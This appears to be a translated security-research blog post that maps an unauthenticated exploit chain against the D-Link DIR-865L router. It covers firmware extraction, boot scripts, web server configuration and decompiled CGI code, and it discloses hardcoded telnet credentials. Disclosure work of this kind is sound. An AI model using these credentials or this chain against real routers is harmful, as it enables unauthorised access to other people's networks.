巨量内容- 请随手准备瓜子
您好,今天我们将了解如何以未经身份验证的方式利用路由器 D-Link DIR-865L(通过 WAN 或 LAN,因为我的漏洞在这两种情况下都有效)。但是,最重要的是,通过链接路由器的多个漏洞和基本功能,我们可以轻松获得 RCE。
在利用过程中将连锁以下漏洞:
漏洞 | 认证类型 |
信息泄露 |
预授权 |
通过 LF 注入 + 信息泄漏绕过身份验证 | 预授权 |
会话固定 | 预授权 |
路径遍历+任意文件列表 |
预验证(适用于固件版本 < 1.07) 后验证(适用于固件版本 >= 1.07) |
任意文件上传 | 授权后 |
通过 LF 注入 + 路径遍历 + PHP 文件包含绕过身份验证 | 预授权 |
命令注入 | 不适用 |
此外,出于提供信息的目的,我在研究过程中发现的其他漏洞将在奖励部分中提供。
漏洞 |
认证类型 |
反射型XSS |
预授权 |
目标
在开始技术部分之前,我们先介绍一下我们的目标——路由器。该目标是 D-Link 路由器,型号为 DIR-865L(也称为 Router Cloud Gigabit AC1750)。您可能会问为什么要使用这个路由器?
嗯,答案很简单。该路由器(以及同一品牌的其他路由器)一直是一些争议的主题,特别是在虚假漏洞和 CVE 标识符发布之后。如果您有兴趣,可以参考一些:
-
CVE-2022-28958
-
https://github.com/advisories/GHSA-phcp-9c77-57q2
-
https://github.com/shijin0925/IOT/blob/master/DIR816/3.md
揭穿(以上参考文献作为线索,稍加挖掘,您就会发现其他实际上是假的 CVE 编号):
-
https://vulncheck.com/blog/moobot-uses-fake-vulnerability
除了他们的博客文章之外,VulnCheck似乎确认路由器仍然容易通过 /htdocs/web/getcfg.php绕过身份验证,并指定相关的 CVE 编号:
-
CVE-2022-28956
-
CVE-2020-9376
-
CVE-2020-15894
-
CVE-2019-17506
-
CVE-2018-7034
不幸的是,对他们来说,他们既对又错。确实存在身份验证绕过,但问题并非来自 /htdocs/web/getcfg.php(一些逆向工程将允许我们解决这个问题)。
所以我想亲自看看是否有可能找到未知的 RCE 链。
固件和 GPL
可以从D-Link支持页面下载固件版本( 1.07和 1.08 ) https://support.dlink.ca/ProductInfo.aspx?m=DIR-865L#Download:
-
DIR-865L_REVA_FIRMWARE_1.07FBB01.BIN
https://ftp.dlink.ca/ftp/PRODUCTS/DIR-865L/DIR-865L_REVA_FIRMWARE_1.07FBB01.BIN
-
DIR-865L_REVA_FIRMWARE_1.08B01.BIN
https://ftp.dlink.ca/ftp/PRODUCTS/DIR-865L/DIR-865L_REVA_FIRMWARE_1.08B01.BIN
或者通过此链接查看所有固件版本 。下载固件后,您可以用来binwalk检查文件并识别 Squashfs 的存在。
不幸的是,我们不能使用它unsquashfs来提取文件系统,但是我们可以使用它sasquatch。
我们现在可以访问路由器的文件系统。
正如我在其他文章中介绍的那样,我通常会在审核开始时尝试查找路由器的 GPL 源代码,这通常允许我访问某些二进制文件的源代码(这在大多数情况下避免了逆向工程步骤,并允许我们仅审核源代码)。
就我们的目标而言,D-Link 没有发布 GPL 源代码,但您会发现这并不重要,因为大部分审核仅专门用于读取 PHP 代码。
审计
启动过程
为了了解路由器如何启动,让我们看一下文件 /etc/init.d/rcS。
文件:/etc/init.d/rcS
#!/bin/sh
for i in /etc/init.d/S??* ;do
# Ignore dangling symlinks (if any).
[ ! -f "$i" ] && continue
# Run the script.
echo "[$i]"
$i
done
echo "[$0] done!"
/etc/init0.d/rcS
很容易理解, /etc/init.d/目录下 所有以.sh结尾的脚本都是按照升序执行的。
-
S10init.sh
-
S11upboot.sh
-
S12ubs_storage.sh
-
S15udevd.sh
-
S16ipv6.sh
-
S19init.sh
-
S20init.sh
-
S20interfaces.sh
-
S21usbmount.sh
-
S22mydlink.sh
-
S23udevd.sh
-
S45gpiod.sh
然后运行文件/etc/init0.d/rcS 。
在启动阶段的第一部分中,有两个文件很重要: S12ubs_storage.sh和 S21usbmount.sh。
文件:/etc/init.d/S12ubs_storage.sh
#!/bin/sh
insmod /lib/modules/usb-storage.ko
文件:/etc/init.d/S21usbmount.sh
#!/bin/sh
mkdir -p /var/tmp/storage
现在让我们看看文件/etc/init0.d/rcS的内容 。
文件:/etc/init0.d/rcS
#!/bin/sh
KRC=/var/killrc0
if [ -f $KRC ]; then
...
fi
for i in /etc/init0.d/S??* ; do
# Ignore dangling symlinks (if any).
[ ! -f "$i" ] && continue
# run the script
#echo [$i start]
$i start
# generate stop script
echo "$i stop" > $KRC.tmp
[ -f $KRC ] && cat $KRC >> $KRC.tmp
mv $KRC.tmp $KRC
done
[ -f $KRC ] && chmod +x $KRC
echo "[$0] done!"
很容易理解, 目录 /etc/init0.d/中以.sh结尾的所有脚本都按升序执行,并且字符串作为唯一参数。start
-
S21layout.sh
-
S40event.sh
-
S40gpioevent.sh
-
S41autowan.sh
-
S41autowanv6.sh
-
S41event.sh
-
S41inf.sh
-
S41smart404.sh
-
S42event.sh
-
S42pthrough.sh
-
S43mydlinkevent.sh
-
S51wlan.sh
-
S52wlan.sh
-
S60shareport.sh
-
S65ddnsd.sh
-
S65user.sh
-
S80telnetd.sh
-
S90upnpav.sh
-
S91proclink.sh
-
S92fastroute.sh
-
S93cpuload.sh
让我们看一下文件S40event.sh的内容。
文件:/etc/init0.d/S40event.sh
#!/bin/sh
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ]; then
...
event SEALPAC.CLEAR add "/etc/events/SEALPAC-CLEAR.sh"
event DNSCACHE.FLUSH add "/etc/events/DNSCACHE-FLUSH.sh"
event SENDMAIL add "phpsh /etc/events/SENDMAIL.php"
event LOGFULL add "phpsh /etc/events/SENDMAIL.php ACTION=LOGFULL"
event SCANARP add "/etc/events/scanarp.sh"
event CHECKFW add "/etc/events/checkfw.sh"
event DHCPS4.RESTART add "/etc/events/DHCPS-RESTART.sh"
event INF.RESTART add "phpsh /etc/events/INF-RESTART.php"
event WAN.RESTART add "phpsh /etc/events/INF-RESTART.php PREFIX=WAN"
event LAN.RESTART add "phpsh /etc/events/INF-RESTART.php PREFIX=LAN"
event BRIDGE.RESTART add "phpsh /etc/events/INF-RESTART.php PREFIX=BRIDGE"
event DISKUP add "/etc/events/disk.sh"
event DISKDOWN add "/etc/events/disk.sh"
...
fi
有多个对二进制phpsh( /usr/sbin/phpsh) 的引用。
文件:/usr/sbin/phpsh
#!/bin/sh
if [ $1 = "debug" ]; then DEBUG=yes; shift; fi
CMD="xmldbc -P $1"
shift
while [ -n "$1" ]; do CMD=$CMD" -V "$1""; shift; done
echo $CMD|sh > /var/run/phpsh-$$.sh
if [ -n "$DEBUG" ]; then
echo "PHPSH: [$CMD]" > /dev/console
cat /var/run/phpsh-$$.sh > /dev/console
fi
sh /var/run/phpsh-$$.sh
rm -f /var/run/phpsh-$$.sh
exit 0
可以看出/usr/sbin/phpsh,它是二进制文件的包装器xmldbc (/usr/sbin/xmldbc是 MIPS 架构的编译二进制文件)。所以你已经知道我们的目标的CPU是基于MIPS的,并且它的引擎是PHP xmldbc。
一个有趣的事实是,在文件夹 /usr/sbin/中有两个具有几乎相同名称的二进制文件:
-
xmldb
-
xmldbc
du使用工具、md5sum和进行一些分析后diff,很明显这些是相同的二进制文件。
我认为相同的两个具有不同名称的二进制文件的存在一定是由于固件(型号、SDK等)之间的向后兼容性问题,或者可能是由于相同的固件可以在不同的路由器型号上刷新的事实。根据固件版本,xmldb和xmldbc是两个相同的二进制文件,或者xmldbc是 的符号链接xmldb。
我们回到启动主题,看一下另一个有趣的启动脚本/etc/init0.d/S80telnetd.sh:
文件:/etc/init0.d/S80telnetd.sh
#!/bin/sh
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
if [ -f "/usr/sbin/login" ]; then
image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fi
else
killall telnetd
fi
很明显,系统上存在telnetd( ) 二进制文件。/usr/sbin/telnetd启动时,如果xmldbc -g /runtime/device/devconfsize返回0 ,则它期望收到以下凭据以让用户登录:
-
用户名:Alphanetworks
-
密码:wrgac01_dlob.hans_dir865
然而,我们不会在利用过程中尝试强制xmldbc -g /runtime/device/devconfsize返回 0,但是,最终目标将是开始 /usr/sbin/telnetd侦听我们选择的端口并从 WAN 到达该端口。
现在我们已经了解了引导机制,接下来我们将讨论最重要的主题:Web 服务器。
网络服务器
路由器功能由服务管理,这些服务(PHP 脚本)位于/etc/services/。
我们对以下文件感兴趣:
-
/etc/services/HTTP.BRIDGE-1.php
-
/etc/services/HTTP.LAN-1.php
-
/etc/services/HTTP.LAN-2.php
-
/etc/services/HTTP.LAN-3.php
-
/etc/services/HTTP.LAN-4.php
-
/etc/services/HTTP.LAN-5.php
-
/etc/services/HTTP.LAN-6.php
-
/etc/services/HTTP.WAN-1.php
-
/etc/services/HTTP.WAN-2.php
-
/etc/services/HTTP.WAN-3.php
-
/etc/services/HTTP.WAN-4.php
-
/etc/services/HTTP.php
-
/etc/services/WEBACCESS.php
我们以/etc/services/HTTP.php为例。
文件:/etc/services/HTTP.php
<? /* vi: set sw=4 ts=4: */
include "/htdocs/phplib/phyinf.php";
fwrite("w",$START,"#!/bin/shn");
fwrite("w", $STOP,"#!/bin/shn");
$httpd_conf = "/var/run/httpd.conf";
/* start script */
if ( isdir("/htdocs/widget") == 1) // For widget By Joseph
{
foreach("/runtime/services/http/server")
{
if(query("mode")=="HTTP")
set("widget", 1);
}
fwrite("a",$START, "xmldbc -x /runtime/widget/salt "get:widget -s"n");
fwrite("a",$START, "xmldbc -x /runtime/widgetv2/logincheck "get:widget -a /var/run/password -v"n");
fwrite("a",$START, "xmldbc -x /runtime/time/date "get:date +%m/%d/%Y"n");
fwrite("a",$START, "xmldbc -x /runtime/time/time "get:date +%T"n");
}
fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."n");
fwrite("a",$START, "event PREFWUPDATE add /etc/scripts/prefwupdate.shn");
fwrite("a",$START, "httpd -f ".$httpd_conf."n");
fwrite("a",$START, "event HTTP.UPn");
fwrite("a",$START, "exit 0n");
/* stop script */
fwrite("a",$STOP, "killall httpdn");
fwrite("a",$STOP, "rm -f ".$httpd_conf."n");
fwrite("a",$STOP, "event HTTP.DOWNn");
fwrite("a",$STOP, "exit 0n");
?>
我们可以看到以下行生成了 Web 服务器的配置:
...
fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."n");
...
让我们检查文件/etc/services/HTTP/httpcfg.php。
文件:/etc/services/HTTP/httpcfg.php
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console
Tuning
{
NumConnections 128
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 30
ScriptTimeout 30
}
Control
{
<?
echo "PathInfo Offn";
?>
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php txt asp }
/usr/sbin/scandir.sgi {sgi}
}
}
<?
include "/htdocs/phplib/phyinf.php";
include "/htdocs/phplib/trace.php";
function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404, $miiicasa)
{
$webaccess = query("/webaccess/enable");
$uid_prefix = cut($uid, 0, "-");
/*if wan interface web server we do not bind interace for local loopback*/
if($uid_prefix=="WAN")
{
$ifname = "";
}
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n";
if($ifname != "") { echo " Interface ".$ifname. "n";}
/*for bridge 192.168.0.50 alias ip access*/
if($uid == "BRIDGE-1" && $port == "80" ) { echo "# Address ".$ipaddr. "n";}
else { echo " Address ".$ipaddr. "n";}
echo
" Port ".$port. "n";
if($webaccess == 1)
{
echo
' Virtual'. 'n'.
' {'. 'n'.
" HOST shareport.local". "n".
" Priority 1". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/web/webaccess". "n".
" IndexNames { index.php }". "n".
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws". "n".
" Location /htdocs/fileaccess.cgi". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /htdocs/fileaccess.cgi { * }"."n".
" }". "n".
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws/api/Login". "n".
" Location /htdocs/web/webfa_authentication.cgi". "n".
" External". "n".
" {". "n".
" /htdocs/web/webfa_authentication.cgi { * }"."n".
" }". "n".
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws/api/Logout". "n".
" Location /htdocs/web/webfa_authentication_logout.cgi". "n".
" External". "n".
" {". "n".
" /htdocs/web/webfa_authentication_logout.cgi { * }"."n".
" }". "n".
" }". "n".
' }'. 'n';
echo
" Virtual". "n".
" {". "n".
" HOST shareport". "n".
" Priority 1". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location http://shareport.local". "n".
" }". "n".
' }'. 'n';
}
echo
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Priority 1". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/web". "n".
" IndexNames { index.php }". "n";
if ($uid=="LAN-1"||$uid=="WAN-1") echo
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { txt }". "n".
" }". "n";
if ($widget > 0) echo
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { router_info.xml }"."n".
" /usr/sbin/phpcgi { post_login.xml }"."n".
" }". "n";
echo
" }". "n";
echo
" Control". "n".
" {". "n".
" Alias /parentalcontrols". "n".
" Location /htdocs/parentalcontrols"."n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { php }". "n".
" }". "n".
" }". "n";
if ($smart404 == "1")
{
echo
' Control'. 'n'.
' {'. 'n'.
' Alias /smart404'. 'n'.
' Location /htdocs/smart404'. 'n'.
' }'. 'n';
}
if ($miiicasa == "1")
{
echo
' Control'. 'n'.
' {'. 'n'.
' Alias /ws/api'. 'n'.
' Location /usr/sbin/miiicasa.cgi'. 'n'.
' PathInfo On'. 'n'.
' External {'. 'n'.
' /usr/sbin/miiicasa.cgi { * } '.'n'.
' }'. 'n'.
' }'. 'n'.
' Control'. 'n'.
' {'. 'n'.
' Alias /da'. 'n'.
' Location /var/tmp/storage'. 'n'.
' AllowDotfiles On'. 'n'.
' }'. 'n';
}
if ($hnap > 0)
{
echo
" Control". "n".
" {". "n".
" Alias /HNAP1". "n".
" Location /htdocs/HNAP1". "n".
" External". "n".
" {". "n".
" /usr/sbin/hnap { hnap }". "n".
" }". "n".
" IndexNames { index.hnap }". "n".
" }". "n";
}
echo
" Control". "n".
" {". "n".
" Alias /goform". "n".
" Location /htdocs/mydlink". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { * }". "n".
" }". "n".
" Specials". "n".
" {". "n".
" CGI {form_login form_logout }". "n".
" }". "n".
" }". "n";
echo
" Control". "n".
" {". "n".
" Alias /mydlink". "n".
" Location /htdocs/mydlink". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { * }". "n".
" }". "n".
" }". "n";
echo
" Control". "n".
" {". "n".
" Alias /common". "n".
" Location /htdocs/mydlink". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { cgi }". "n".
" }". "n".
" }". "n";
echo
" }". "n".
"}". "n";
}
function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
$ipaddr ="239.255.255.250";
if ($af=="inet6") { $ipaddr="ff02::C"; }
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n".
" Interface ".$ifname. "n".
" Port 1900". "n".
" Address ".$ipaddr. "n".
" Datagrams On". "n".
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Priority 0". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/upnp/docs/".$uid."n".
" External". "n".
" {". "n".
" /htdocs/upnp/ssdpcgi { * }"."n".
" }". "n".
" }". "n".
" }". "n".
"}". "n".
"n";
}
function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n".
" Interface ".$ifname. "n".
" Address ".$ipaddr. "n".
" Port ".$port. "n".
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Priority 0". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/upnp/docs/".$uid."n".
" }". "n".
" }". "n".
"}". "n".
"n";
}
function stunnel_server($sname, $uid, $ifname, $af, $ipaddr, $port, $wfa_port, $stunnel, $wfa_stunnel)
{
$mydlink = query("/mydlink/register_st");
if($mydlink == "1" || $stunnel=="1")
{
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n".
" Interface ".$ifname. "n".
" Address ".$ipaddr. "n".
" Port ".$port. "n".
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Priority 1". "n";
if ($stunnel=="1")
{
echo
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/web". "n".
" IndexNames { index.php }". "n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { txt }". "n".
" }". "n".
" }". "n";
}
echo
" Control". "n".
" {". "n".
" Alias /goform". "n".
" Location /htdocs/mydlink". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { * }". "n".
" }". "n".
" Specials". "n".
" {". "n".
" CGI {form_login form_logout }". "n".
" }". "n".
" }". "n";
echo
" Control". "n".
" {". "n".
" Alias /mydlink". "n".
" Location /htdocs/mydlink". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { * }". "n".
" }". "n".
" }". "n";
echo
" Control". "n".
" {". "n".
" Alias /common". "n".
" Location /htdocs/mydlink". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { cgi }". "n".
" }". "n".
" }". "n";
echo
" }". "n".
"}". "n";
}
if ($wfa_stunnel=="1")
{
echo
"Server". "n".
"{". "n".
" ServerName "".$sname.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n".
" Interface ".$ifname. "n".
" Address ".$ipaddr. "n".
" Port ".$wfa_port. "n".
" Virtual". "n".
" {". "n".
" AnyHost". "n".
" Priority 1". "n";
echo
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/web/webaccess". "n".
" IndexNames { index.php }". "n";
echo
" External". "n".
" {". "n".
" /usr/sbin/phpcgi { txt }". "n".
" }". "n";
echo
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws". "n".
" Location /htdocs/fileaccess.cgi". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /htdocs/fileaccess.cgi { * }"."n".
" }". "n".
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws/api/Login". "n".
" Location /htdocs/web/webfa_authentication.cgi". "n".
" External". "n".
" {". "n".
" /htdocs/web/webfa_authentication.cgi { * }"."n".
" }". "n".
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws/api/Logout". "n".
" Location /htdocs/web/webfa_authentication_logout.cgi". "n".
" External". "n".
" {". "n".
" /htdocs/web/webfa_authentication_logout.cgi { * }"."n".
" }". "n".
" }". "n";
echo
" }". "n".
"}". "n";
}
}
function webaccess_server($webaccess_name, $uid, $ifname, $af, $ipaddr, $port)
{
echo
'Server'. 'n'.
'{'. 'n'.
" ServerName "".$webaccess_name.""". "n".
" ServerId "".$uid.""". "n".
" Family ".$af. "n";
if($ifname!=""){ echo " Interface ".$ifname. "n";}
echo
" Address ".$ipaddr. "n".
" Port ".$port. "n".
' Virtual'. 'n'.
' {'. 'n'.
" AnyHost". "n".
" Priority 1". "n".
" Control". "n".
" {". "n".
" Alias /". "n".
" Location /htdocs/web/webaccess". "n".
" IndexNames { index.php }". "n";
echo
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws". "n".
" Location /htdocs/fileaccess.cgi". "n".
" PathInfo On". "n".
" External". "n".
" {". "n".
" /htdocs/fileaccess.cgi { * }"."n".
" }". "n".
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws/api/Login". "n".
" Location /htdocs/web/webfa_authentication.cgi". "n".
" External". "n".
" {". "n".
" /htdocs/web/webfa_authentication.cgi { * }"."n".
" }". "n".
" }". "n".
" Control". "n".
" {". "n".
" Alias /dws/api/Logout". "n".
" Location /htdocs/web/webfa_authentication_logout.cgi". "n".
" External". "n".
" {". "n".
" /htdocs/web/webfa_authentication_logout.cgi { * }"."n".
" }". "n".
" }". "n".
' }'. 'n'.
'}'. 'n';
}
$webaccess = query("/webaccess/enable");
$wfa_port = query("/webaccess/httpport");
$have_http = 0;
foreach("/runtime/services/http/server")
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$smart404 = query("/runtime/smart404");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
$suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver; /* UPnP server name */
$stunnel_name = "Linux, STUNNEL/1.0, ".$model." Ver ".$ver; /* STUNNEL server name */
$webaccess_name = "Linux, WEBACCESS/1.0, ".$model." Ver ".$ver; /* WEBACCESS server name */
$mode = query("mode");
$inf = query("inf");
$ifname = query("ifname");
$ipaddr = query("ipaddr");
$port = query("port");
$hnap = query("hnap");
$widget = query("widget");
$miiicasa = query("miiicasa");
$af = query("af");
$stunnel = query("stunnel");
$wfa_stunnel = query("wfa_stunnel");
if($ifname!="" || $ipaddr!="")
{
if ($af!="")
{
if($mode=="HTTP")
{
$have_http = 1;
http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404,$miiicasa);
}
else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
else if ($mode=="STUNNEL") stunnel_server($stunnel_name,$inf,$ifname,$af,$ipaddr,$port,$wfa_port,$stunnel,$wfa_stunnel);
else if ($mode=="WEBACCESS") webaccess_server($webaccess_name,$inf,$ifname,$af,$ipaddr,$port);
}
}
}
/*
this is for bridge,we only have alias ip on br0.
workarround only......
*/
if($have_http==0)
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
http_server($sname, "BRIDGE-1","br0","inet","","80",0,0,0,0);
}
?>
谢谢:
-
/etc/services/HTTP.php
-
/etc/services/HTTP/httpcfg.php
-
/etc/services/STUNNEL.php
-
/etc/stunnel.conf
-
/etc/services/WEBACCESS.php
我们可以对 Web 服务器的工作方式进行初步映射。
从网络角度来看:
-
httpd监听端口80。
-
httpd 8181如果服务WEBACCESS处于活动状态,则侦听端口。
-
stunnel监听端口443,是一个 SSL 套接字,将解密的传入流量 (HTTP) 转发到 Web 服务器 ( 127.0.0.1:80)。
-
stunnel监听端口,是一个 SSL 套接字,如果服务处于活动状态,4433则将解密的传入流量 (HTTP) 转发到 Web 服务器 ( )。127.0.0.1:8181 WEBACCESS
我们赶紧验证一下我们的理论:
此外,我们在这里演示了我们的第一个漏洞,信息泄漏(预身份验证),它允许我们在一个请求中无需身份验证即可获取路由器的型号和固件版本,这在侦察步骤中对我们有用。
从应用的角度来看:
当我们查看函数的代码时http_server(),我们可以更好地理解进程之间的交互。此外,我意识到下面的所有文件都是该文件的符号链接/htdocs/cgibin。
在/usr/sbin/中:
-
fwupdater
-
hnap
-
phpcgi
-
scandir.sgi
在/htdocs/web/中:
-
authentication.cgi
-
authentication_logout.cgi
-
captcha.cgi
-
conntrack.cgi
-
dlapn.cgi
-
dlcfg.cgi
-
dldongle.cgi
-
fwup.cgi
-
hedwig.cgi
-
pigwidgeon.cgi
-
seama.cgi
-
service.cgi
-
session.cgi
-
webfa_authentication.cgi
-
webfa_authentication_logout.cgi
在/htdocs/upnp / 中:
-
ssdpcgi
在/htdocs/mydlink/中:
-
form_login
-
form_logout
因此我们知道 Web 服务器的所有智能都包含在二进制文件中/htdocs/cgibin。此外,我认为 Web 服务器和 PHP 引擎 ( /usr/sbin/xmldbc) 通过 unix 套接字 /var/run/xmldb_sock进行通信(如 Apache2 和 PHP-FPM)。我不能说以下模式 100% 对应正在发生的情况,但无论如何,这就是我的理解:
现在我们已经大致了解了路由器的工作原理,接下来我们来利用它。
开发
信息泄露
我们利用 Web 服务器的高详细性来提取路由器的型号和固件版本(从 HTTP 响应标头和正文)。了解这些信息使我们能够检查路由器是否可被利用(碰巧的是,所有固件版本都容易受到我们的利用)。
通过 LF 注入 + 信息泄漏绕过身份验证
正如 VulnCheck 所宣布的,路由器容易受到身份验证绕过的攻击,但与他们所宣布的相反,这不是由于脚本 /htdocs/web/getcfg.php而是由于/htdocs/cgibin (另一方面,/htdocs/web/getcfg .php很容易受到路径遍历和 PHP 文件包含(通过该函数)的影响dophp() ,但我们稍后会看到原因)。
文件:/htdocs/web/getcfg.php
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "t<result>FAILED</result>n";
echo "t<message>Not authorized</message>n";
}
}
?></postxml>
在线提供的概念证明使用 PHP 文件包含来加载 .xml.php文件,该文件泄露了管理员的帐户名和密码。还有另一种方法可以使用尚未公开的技巧来获得相同的结果,这使得在 IOC 方面更加谨慎,因为它是未知的。
让我们看看下面的调用堆栈/htdocs/cgibin:
-
main()
-
phpcgi_main()
-
cgibin_parse_request()
-
FUN_004046a8()
-
FUN_00407c88()
文件:/htdocs/cgibin
功能:FUN_00407c88()
void FUN_00407c88(int param_1,int *param_2) {
char *pcVar1;
char *local_10;
FUN_00407b08();
if (*param_2 == 0) {
sobj_add_string(param_1,"_POST_");
pcVar1 = sobj_get_string(param_2[1]);
sobj_add_string(param_1,pcVar1);
sobj_add_char(param_1,0x3d);
pcVar1 = sobj_get_string(param_2[2]);
sobj_add_string(param_1,pcVar1);
sobj_add_char(param_1,10);
}
else if (*param_2 == 1) {
...
}
return;
}
文件:/htdocs/cgibin
功能:FUN_004046a8()
undefined4 FUN_004046a8(undefined4 param_1,undefined4 param_2) {
char *pcVar1;
size_t sVar2;
undefined4 local_20;
int local_1c;
undefined4 *local_18;
undefined4 *local_14;
undefined4 local_10;
undefined4 local_c;
local_18 = sobj_new();
local_14 = sobj_new();
if ((local_18 == (undefined4 *)0x0) || (local_14 == (undefined4 *)0x0)) {
local_20 = 0xffffffff;
}
else {
pcVar1 = getenv("REQUEST_URI");
if (pcVar1 == (char *)0x0) {
local_20 = 0xffffffff;
}
else {
pcVar1 = strchr(pcVar1,0x3f);
if (pcVar1 != (char *)0x0) {
local_1c = 0;
local_10 = param_1;
local_c = param_2;
sVar2 = strlen(pcVar1 + 1);
FUN_004043d4(&local_1c,(int)(pcVar1 + 1),sVar2);
FUN_004043d4(&local_1c,0,0);
}
local_20 = 0;
}
}
if (local_18 != (undefined4 *)0x0) {
sobj_del(local_18);
}
if (local_14 != (undefined4 *)0x0) {
sobj_del(local_14);
}
return local_20;
}
文件:/htdocs/cgibin
功能:cgibin_parse_request()
int cgibin_parse_request(undefined4 param_1,undefined4 param_2,uint param_3) {
char *pcVar1;
uint local_1c;
int local_18;
int local_10;
local_1c = 0;
pcVar1 = getenv("CONTENT_TYPE");
if ((pcVar1 != (char *)0x0) && (pcVar1 = getenv("CONTENT_LENGTH"), pcVar1 != (char *)0x0)) {
local_1c = atoi(pcVar1);
}
local_18 = FUN_004046a8(param_1,param_2);
local_10 = local_18;
if (-1 < local_18) {
if (param_3 < local_1c) {
local_18 = -100;
FUN_004048a4(local_1c);
}
else if (local_1c != 0) {
local_18 = FUN_00406e58(param_1,param_2,local_1c);
}
local_10 = local_18;
}
return local_10;
}
文件:/htdocs/cgibin
功能:phpcgi_main()
int phpcgi_main(int param_1,int param_2,int param_3) {
char *pcVar1;
int iVar2;
FILE *__stream;
undefined4 *local_28;
int local_24;
char acStack_20 [24];
local_24 = -1;
local_28 = (undefined4 *)0x0;
if (1 < param_1) {
local_28 = sobj_new();
if (local_28 != (undefined4 *)0x0) {
sobj_add_string((int)local_28,*(char **)(param_2 + 4));
sobj_add_char((int)local_28,10);
FUN_00407a10((int)local_28,param_3);
pcVar1 = getenv("REQUEST_METHOD");
